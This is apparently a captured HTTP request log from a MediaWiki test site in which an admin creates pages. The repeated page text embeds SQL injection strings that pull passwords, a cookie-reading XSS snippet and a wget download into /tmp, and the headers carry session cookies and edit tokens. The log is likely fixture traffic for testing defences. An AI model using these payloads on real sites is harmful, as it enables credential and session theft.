Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on Lighthouse, python3, ls -la and .htaccess\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpPreview\"\r\n\r\nShow preview\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n1e44643bf316cfdeb7476623a1042ab96af22672+\\\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ntext\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundaryUQ8uGGBD9y406eaI--\r\n"}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery.tablesorter.styles%7Cmediawiki.action.edit.styles%7Cmediawiki.codex.messagebox.styles%7Cmediawiki.editfont.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.page.gallery.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/images/e/e3/Pic_python3.png", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Csite%7Cjquery.client%2ClengthLimit%2CmakeCollapsible%2Ctablesorter%2CtextSelection%7Cjquery.makeCollapsible.styles%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2CconfirmCloseWindow%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.action.edit%7Cmediawiki.action.edit.collapsibleFooter%2CeditWarning%7Cmediawiki.language.months%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.widgets.visibleLengthLimit%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=bzxdy", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/resources/src/jquery.tablesorter.styles/images/sort_both.svg?0e440", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=jquery.tablesorter.styles%7Cmediawiki.action.edit.styles%7Cmediawiki.codex.messagebox.styles%7Cmediawiki.editfont.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.page.gallery.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 1728", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Lighthouse_notes&section=&sectiontitle=&summary=Notes+on+Lighthouse%2C+python3%2C+ls+-la+and+.htaccess&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A'''Example'''+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23!%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById(%22x%22).innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert(document.cookie)%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E(.*)%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A!+Command+!!+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&token=ec92de021bd867b1b27bd21302692bdb6af22673%2B%5C"}
{"method": "POST", "target": "/index.php?title=Lighthouse_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3329", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryGNPKGFIkEp6MCBZL", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200050\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200050\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpIgnoreBlankSummary\"\r\n\r\n1\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on Lighthouse, python3, ls -la and .htaccess\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpDiff\"\r\n\r\nShow changes\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\n1e44643bf316cfdeb7476623a1042ab96af22672+\\\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\npreview\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundaryGNPKGFIkEp6MCBZL--\r\n"}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery.tablesorter.styles%7Cmediawiki.action.edit.styles%7Cmediawiki.codex.messagebox.styles%7Cmediawiki.diff.styles%7Cmediawiki.editfont.styles%7Cmediawiki.interface.helpers.styles%7Cmediawiki.widgets.styles%7Coojs-ui-core.icons%2Cstyles%7Coojs-ui.styles.indicators%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Coojs%2Coojs-ui-core%2Csite%7Cjquery.client%2ClengthLimit%2CmakeCollapsible%2Ctablesorter%2CtextSelection%7Cjquery.makeCollapsible.styles%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2CconfirmCloseWindow%2Ccookie%2Cdiff%2Cexperiments%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.action.edit%7Cmediawiki.action.edit.collapsibleFooter%2CeditWarning%7Cmediawiki.language.months%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.widgets.visibleLengthLimit%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=jtnhc", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "POST", "target": "/index.php?title=Lighthouse_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3323", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryui9xf8Ac2sqeBZgh", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=2%401794254450%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200050\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200050\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpScrolltop\"\r\n\r\n304\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpIgnoreBlankSummary\"\r\n\r\n1\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpAutoSummary\"\r\n\r\nd41d8cd98f00b204e9800998ecf8427e\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"oldid\"\r\n\r\n0\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"parentRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"format\"\r\n\r\ntext/x-wiki\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"model\"\r\n\r\nwikitext\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpTextbox1\"\r\n\r\n{{Infobox\r\n| name = Example\r\n| image = Pic python3.png\r\n}}\r\n'''Example''' is a page about [[Main Page|the wiki]] and [https://example.com/docs the docs].\r\n\r\n== Install ==\r\nRun these, with python3 and powershell:\r\n<pre>\r\n#!/bin/sh\r\ncd /var/www && ls -la\r\npython3 -m venv .venv && . .venv/bin/activate\r\nwget http://example.com/setup.sh -O /tmp/setup.sh\r\ncat /etc/hosts\r\n</pre>\r\n<syntaxhighlight lang=\"sql\">\r\nSELECT name FROM users WHERE id = 1 OR 1=1;\r\nUNION SELECT password FROM accounts;\r\n</syntaxhighlight>\r\n<syntaxhighlight lang=\"javascript\">\r\ndocument.getElementById(\"x\").innerHTML = \"<b>\" + window.location + \"</b>\";\r\nalert(document.cookie);\r\n</syntaxhighlight>\r\nThe file .htaccess in the site root sets <code>RewriteRule ^(.*)$ index.php?title=$1</code>.\r\n\r\n{| class=\"wikitable sortable\"\r\n|-\r\n! Command !! Does\r\n|-\r\n| <code>ls -la</code> || lists files\r\n|-\r\n| <code>powershell -Command Get-Item</code> || shows an item\r\n|-\r\n| <code>python3 manage.py</code> || runs a script\r\n|}\r\n\r\n<gallery>\r\nFile:Pic python3.png|A picture\r\n</gallery>\r\n<ref>A note citing https://example.com/</ref>\r\n[[Category:Examples]]\r\n\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpSummary\"\r\n\r\nNotes on Lighthouse, python3, ls -la and .htaccess\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpSave\"\r\n\r\nSave page\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\nec92de021bd867b1b27bd21302692bdb6af22673+\\\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"mode\"\r\n\r\ndiff\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh\r\nContent-Disposition: form-data; name=\"wpUltimateParam\"\r\n\r\n1\r\n------WebKitFormBoundaryui9xf8Ac2sqeBZgh--\r\n"}
{"method": "GET", "target": "/wiki/Lighthouse_notes", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Lighthouse_notes&action=submit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; my_wikiPostEditRevision4=created; cpPosIndex=3%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
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{"method": "GET", "target": "/rest.php/v1/search/title?q=Lighthouse&limit=10", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "accept: application/json", "Referer: http://example.com/wiki/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "GET", "target": "/index.php?title=Python3_notes&action=edit", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": ""}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 1671", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Python3_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Python3_notes&section=&sectiontitle=&summary=&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&text=%7B%7BInfobox%0A%7C+name+%3D+Example%0A%7C+image+%3D+Pic+python3.png%0A%7D%7D%0A'''Example'''+is+a+page+about+%5B%5BMain+Page%7Cthe+wiki%5D%5D+and+%5Bhttps%3A%2F%2Fexample.com%2Fdocs+the+docs%5D.%0A%0A%3D%3D+Install+%3D%3D%0ARun+these%2C+with+python3+and+powershell%3A%0A%3Cpre%3E%0A%23!%2Fbin%2Fsh%0Acd+%2Fvar%2Fwww+%26%26+ls+-la%0Apython3+-m+venv+.venv+%26%26+.+.venv%2Fbin%2Factivate%0Awget+http%3A%2F%2Fexample.com%2Fsetup.sh+-O+%2Ftmp%2Fsetup.sh%0Acat+%2Fetc%2Fhosts%0A%3C%2Fpre%3E%0A%3Csyntaxhighlight+lang%3D%22sql%22%3E%0ASELECT+name+FROM+users+WHERE+id+%3D+1+OR+1%3D1%3B%0AUNION+SELECT+password+FROM+accounts%3B%0A%3C%2Fsyntaxhighlight%3E%0A%3Csyntaxhighlight+lang%3D%22javascript%22%3E%0Adocument.getElementById(%22x%22).innerHTML+%3D+%22%3Cb%3E%22+%2B+window.location+%2B+%22%3C%2Fb%3E%22%3B%0Aalert(document.cookie)%3B%0A%3C%2Fsyntaxhighlight%3E%0AThe+file+.htaccess+in+the+site+root+sets+%3Ccode%3ERewriteRule+%5E(.*)%24+index.php%3Ftitle%3D%241%3C%2Fcode%3E.%0A%0A%7B%7C+class%3D%22wikitable+sortable%22%0A%7C-%0A!+Command+!!+Does%0A%7C-%0A%7C+%3Ccode%3Els+-la%3C%2Fcode%3E+%7C%7C+lists+files%0A%7C-%0A%7C+%3Ccode%3Epowershell+-Command+Get-Item%3C%2Fcode%3E+%7C%7C+shows+an+item%0A%7C-%0A%7C+%3Ccode%3Epython3+manage.py%3C%2Fcode%3E+%7C%7C+runs+a+script%0A%7C%7D%0A%0A%3Cgallery%3E%0AFile%3APic+python3.png%7CA+picture%0A%3C%2Fgallery%3E%0A%3Cref%3EA+note+citing+https%3A%2F%2Fexample.com%2F%3C%2Fref%3E%0A%5B%5BCategory%3AExamples%5D%5D%0A&token=52f141f04963c493bdb6c4af9cc78baa6af22676%2B%5C"}
{"method": "POST", "target": "/api.php?action=stashedit", "headers": ["Host: example.com", "Content-Length: 319", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Content-Type: application/x-www-form-urlencoded; charset=UTF-8", "Origin: http://example.com", "Referer: http://example.com/index.php?title=Python3_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": "action=stashedit&format=json&formatversion=2&title=Python3_notes&section=&sectiontitle=&summary=Notes+on+python3%2C+python3%2C+ls+-la+and+.htaccess&contentmodel=wikitext&contentformat=text%2Fx-wiki&baserevid=0&stashedtexthash=7b0caca38f13720bae380f2dd35a43a0fa43c9b7&token=52f141f04963c493bdb6c4af9cc78baa6af22676%2B%5C"}
{"method": "POST", "target": "/index.php?title=Python3_notes&action=submit", "headers": ["Host: example.com", "Content-Length: 3218", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryz0k8CAH1ZI6cQBLB", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php?title=Python3_notes&action=edit", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=cg80e269u80cijgpca779rpmsvk46uc0; my_wikiUserID=2; my_wikiUserName=Admin; UseDC=master; cpPosIndex=4%401794254451%23153252fac0b4fff55405e90957449430"], "body": "------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpUnicodeCheck\"\r\n\r\n\u2133\ud835\udcb2\u2665\ud835\udcca\ud835\udcc3\ud835\udcbe\ud835\udcb8\u2134\ud835\udcb9\u212f\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpAntispam\"\r\n\r\n\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpSection\"\r\n\r\n\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpStarttime\"\r\n\r\n20261109200054\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"wpEdittime\"\r\n\r\n20261109200054\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; name=\"editRevId\"\r\n\r\n0\r\n------WebKitFormBoundaryz0k8CAH1ZI6cQBLB\r\nContent-Disposition: form-data; 